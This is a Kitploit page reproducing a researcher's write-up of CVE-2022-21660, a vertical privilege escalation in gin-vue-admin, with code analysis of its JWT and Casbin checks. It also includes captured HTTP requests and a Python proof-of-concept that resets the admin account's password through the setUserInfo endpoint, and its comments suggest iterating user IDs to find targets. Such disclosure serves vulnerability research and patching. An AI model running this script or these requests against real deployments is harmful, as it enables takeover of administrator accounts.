Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
Tools/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingLearning & Education
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
28124 years agoReviewed by Kitploit

Gin-Vue-admin Vertical Privilege Escalation Vulnerability and Code Analysis - CVE-2022-21660

1. Foreword

Welcome everyone to give this project a star.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

After finishing the article, applying for a CVE was somewhat troublesome, but fortunately it was granted, and the GitHub staff responded quickly.

> ps Before applying for the CVE, I had already submitted it to CNVD.

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. Environment Setup

Follow the official tutorial.```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

Then enter the server directory```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

Then directly run the server

image-20211230134411233

Then there is WEB, enter the web directory, input```bash cnpm install || npm install

root@kitploit:~
Then just wait

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)

After installation is complete, the web page will open automatically

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

Then initialize the database configuration

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

After configuration, click initialize and then log in

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. Vulnerability Reproduction

### SetUserInfo has vertical privilege escalation

##### 1. SetUserInfo interface unauthorized setting of user personal information

We directly go to the user management page and add a low-privilege user role

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

It can be seen that no administrator privileges are given above. Next, create a new account and assign it to this role group.

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

The vulnerability occurs at line 273 of https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

There is no validation of the incoming ID here; the ID represents the user. Directly passing the specified ID can modify the personal information of the corresponding user.

image-20211230141732113

First, we use the admin's X-token to test modifying the name of the user with ID 1 to test1. Then we can see in the backend that the admin's ID has been changed to test1.

image-20211230144216099

Next, we replace the token with the one from the newly created UzJu_HxSecTeam account and modify the admin username to test2.

First, in the UzJu_HxSecTeam account's personal information > change password, we arbitrarily change the password, then obtain the account token.

image-20211230144321622

This token belongs to the low-privilege role. Normally, a low-privilege user cannot modify any information of the admin.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
We replace the Token into it, constructing the following JSON data.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

We will replace the Token in the setUserinfo interface.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
Then we are prompted that the setup was successful

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

This is when we switch to the admin account to check if it has been changed to test2

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

It can be seen that the admin user was successfully modified

##### 2. SetUserInfo API Vertical Authorization Bypass to Unconditionally Modify Admin Password

During debugging, it was discovered that the setUserInfo interface for unauthorized personal information setting is not limited to setting id, username, nickname, headimg; it can also accept parameters like password, etc.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

For example, construct a request to set the username of the user with ID 1 to admin and the nickname to Super User Admin

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

At this point, the administrator's password has been changed to qwe@123, try logging in

image-20211230222853109

Then successfully logged in

image-20211230222906607

ChangPassword privilege escalation to modify user password

PS: There is a prerequisite here: you need to know the password of the user you want to modify.

First, we know the default admin password is 123456. At this point, we just need to construct a JSON payload and change the username parameter in the JSON data to the username of the user we want to escalate privileges to.

First, log in with a low-privilege account and change the password once.

image-20211230145433929

We will capture a changePassword request, then put this request into Repeater.

image-20211230145506647

Then we just need to modify the username parameter to admin.

image-20211230145615220

Then we will be prompted that the modification was successful, and we log in to admin with the new password.

image-20211230145704428

Then successfully logged in.

image-20211230145725332

The vulnerability is located at https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, line 139.```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> There is a controversy: since we already know someone else's account password, why not just log in directly to their account? That is true, but the logic flow of our program here is that we have already completed authentication. Normally, the current user can only modify their own password, but here the ID can be modified to change someone else's. From another perspective, it could also be considered brute force, because the login page has CAPTCHA verification.

### 4. Vulnerability Principle Analysis

> ps: The following content comes from the understanding of a script kiddie who has never studied Go, never done development, and only knows Python.

First, from a normal business logic perspective, why does this cause privilege escalation? Actually, the principle is relatively simple. Mainly because when we create role permissions, there are several mandatory parameters. It is these parameters that, once selected, give users the opportunity to escalate privileges (but they cannot be left unselected because they are the default mandatory parameters). Ultimately, it is a logic problem in the code.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

First, let's look at the role permissions after creating a role.

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

It can be seen that the default permissions for a newly created user, in the role menu, only have the permission to access the dashboard. But when we view the role's API permissions, we find:

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

There are several mandatory permissions:

+ User registration
+ Set user information
+ Get own information
+ Change password
+ Modify user role

This is also the source of this vulnerability. First, regarding setting user information, if we uncheck it:

![image-20211230162752207](https://uzjumdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230162752207.png)

Then we put the account token of the low-privilege role group into Burp and try:

![image-20211230163029027](https://uzjumdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20211230163029027.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

We can clearly see that we no longer have permission to set user information. Moreover, on Go's Debug page, it's easy to see the code logic. For example, we currently have no permission to set user information, but in the code, theoretically, if I access this endpoint, my Debug breakpoint should be triggered. But as shown below, after I set a breakpoint, the program didn't stop.

image-20211230163258163

From this, we can determine that there should be an authentication operation before this action (commonly it should be RBAC, right?). Now let's set user permissions for the low‑privilege role group and replay the request.

image-20211230163401844

image-20211230163437975

We can see that the program successfully stopped here. So I think (as a Go novice) it should be possible to find the authentication logic here via debugging.

First, on Mac, use Command + left mouse click to find where this function is called.

image-20211230172215924

Then you can see a function InitUserRouter that initializes the user routes.

image-20211230172303694

Now continue with the same method: Command + left mouse click to determine where InitUserRoute is called.

image-20211230172756447

Here note that there are JWTAuth() and middleware.CasbinHandler().

First, let's look at middleware.JWTAuth(), again using Command + left mouse click.

image-20211230173029571

Then we go to a jwt.go. Let's examine the logic here (thanks to the author for writing some comments).

image-20211230173337186

In Go, token:= should be equivalent to defining a variable to receive the x-token from the request header. It first checks whether token is empty; if so, it directly returns "user not logged in or unauthorized access".

image-20211230173515740

Then it checks whether the user's token is in the blacklist. This should be determined via cache or when the user logs out, to see whether the token has expired. If expired, it returns a message saying "remote login or token invalid".

image-20211230173927005

Here it first passes the token to the ParseToken function to parse the token. You can follow it.

image-20211230174153376

Don't know what jwt.ParseWithClaims is... Classic move: google.com.

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

It's used for JWT encryption/decryption, then returns a SigningKey, and continues.

Thanks to the author's guidance: Here the incoming JWT token string is parsed to obtain a jwt.Token struct, then the Claims are extracted from this struct to get the user information that was attached when we generated the token.

image-20211230180325474

Through Google, I learned that ValidationErrorMalformed is used to determine if the token is malformed, then ValidationErrorExpired checks if it's expired, and then ValidationErrorNotValidYet checks if the token is not yet active. Finally, it returns. Although there is more code below.

image-20211230181012200

Then it checks if the token has expired. If not, it goes to reload. Then we go to middleware.CasbinHandler().

image-20211230181206422

First, it enters utils.GetClaims and passes a parameter.

image-20211230181333671

This function is used to get x-token and then parse the token to check if it's expired, etc.

image-20211230185043326

Then it determines the user's role. The 1234 here corresponds to the role group ID set in the web interface.

image-20211230185135662

image-20211230185217506

Then it enters casbinService.Casbin(). Classic move: directly Baidu.

image-20211230185413430

As guessed earlier, it's RBAC permission control. Here it connects to the database. Then I pressed F7 to step into and was scared away – I don't understand it.

image-20211230191210935

From the comments, it can be determined that this is used to check permissions.

Machine translation: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).

image-20211230191631807

Then it checks whether it's in a development environment. Then success equals false; the || means "or" – either success or a "insufficient permissions" message.

Let's see how the privileged setuserinfo endpoint works after gaining authority. First, set a breakpoint at the interceptor.

image-20211230214215348

Tips: Through Baidu, I found that this uses the Golang casbin access control framework. https://blog.csdn.net/qq_42015552/article/details/104013264

Then set another breakpoint at setuserinfo.

image-20211230214247389

Because the interceptor comes before setuserinfo in the program logic, we start debugging from the interceptor.

After sending the request via Burp, keep waiting. Now let's step through the debugger.

image-20211230214329911

At this point, our role group is 1234.

image-20211230214503883

Then it connects to the database, and after that, it checks permissions.

image-20211230215514485

image-20211230215532447

Here it returns true, indicating that the permission exists. Then it checks whether it's a development environment or success equals true. It will definitely pass the first if.

Then we arrive at the setuserinfo endpoint.

image-20211230220206889

shouldBindJson binds JSON parameters.

image-20211230220707383

Then here, it should be used to check whether the incoming JSON parameters are correct.

image-20211230221153338

Directly below, the userid is passed in.

image-20220104134548099

The ID here is passed from the frontend and can be arbitrarily modified, thus causing privilege escalation.

image-20211230221415677

image-20211230221432290

Then, after being passed to the database, it updates and returns.

image-20211230221556509

Then the update is successful.

The main authentication logic is in the CasbinHandler function in the file cashbin.rbac.go, specifically casbinService.Casbin() and e.Enforce(sub, obj, act).

My understanding of the privilege escalation here is: if the permission to set user information is granted, then by default the user can modify user information within the permission rules. When modifying, replacing the ID with someone else's allows modifying that other user's information.

So it becomes clear: the authentication first checks AuthorityId to determine whether the user has permission to operate a certain endpoint.

image-20220104131901466

But the ID used in setuserinfo is the user's account ID.

image-20220104132137472

This causes privilege escalation, because this ID can be controlled when passed from the frontend, and it's already after the authentication check. After communicating with the author, the explanation is that the fix is simple: just force-assign user.id to the corresponding permission ID from the JWT. This way, no matter what the frontend passes, there is a line in the code that overrides user.id with the ID corresponding to the current JWT.

However, in the business logic flow, these permissions must be granted; otherwise, the current user wouldn't be able to modify their own information.

image-20220104135624752

V. POC Writing```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
Why the method `check_interface_ChangePassword` was not implemented? This is considered a brute-force interface because before changing any user's password, the password of the account to be modified must be known. This is essentially brute-forcing, so it was not written here. Then for the `checkvuln` method, the `id` in the `payload_data` JSON data can actually be arbitrarily changed, and can also be written in a `for` loop for traversal, because in a real environment it is uncertain whether the admin's ID is 1, or if malicious destruction is intended, it can also cause certain impacts.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. CVE Application

> No need to mention CNVD, it has certainly been submitted. Here we apply for CVE.
>
> The CVE ID application via GitHub comes very fast, usually within 3 days at most. Here it was submitted the same day and the pre-assigned CVE ID was received the next morning.
>
> The following operations require contacting the author to help you operate, otherwise you won't have the "New Draft security advisory" button.

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

In the Description, write the vulnerability content, reproduction process, and POC, then click "Create draft security advisory".

**Since it was our first time applying, we made a mistake: we only created a draft but did not request it, which caused us to waste 7 days.**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

After writing, be sure to scroll down and click "Request CVE ID".

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> Reference article: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. Acknowledgments

+ Author team homepage: https://github.com/flipped-aurora/
+ Author's GitHub: https://github.com/piexlmax
+ Gin-vue-admin project address: https://github.com/flipped-aurora/gin-vue-admin
Download Tool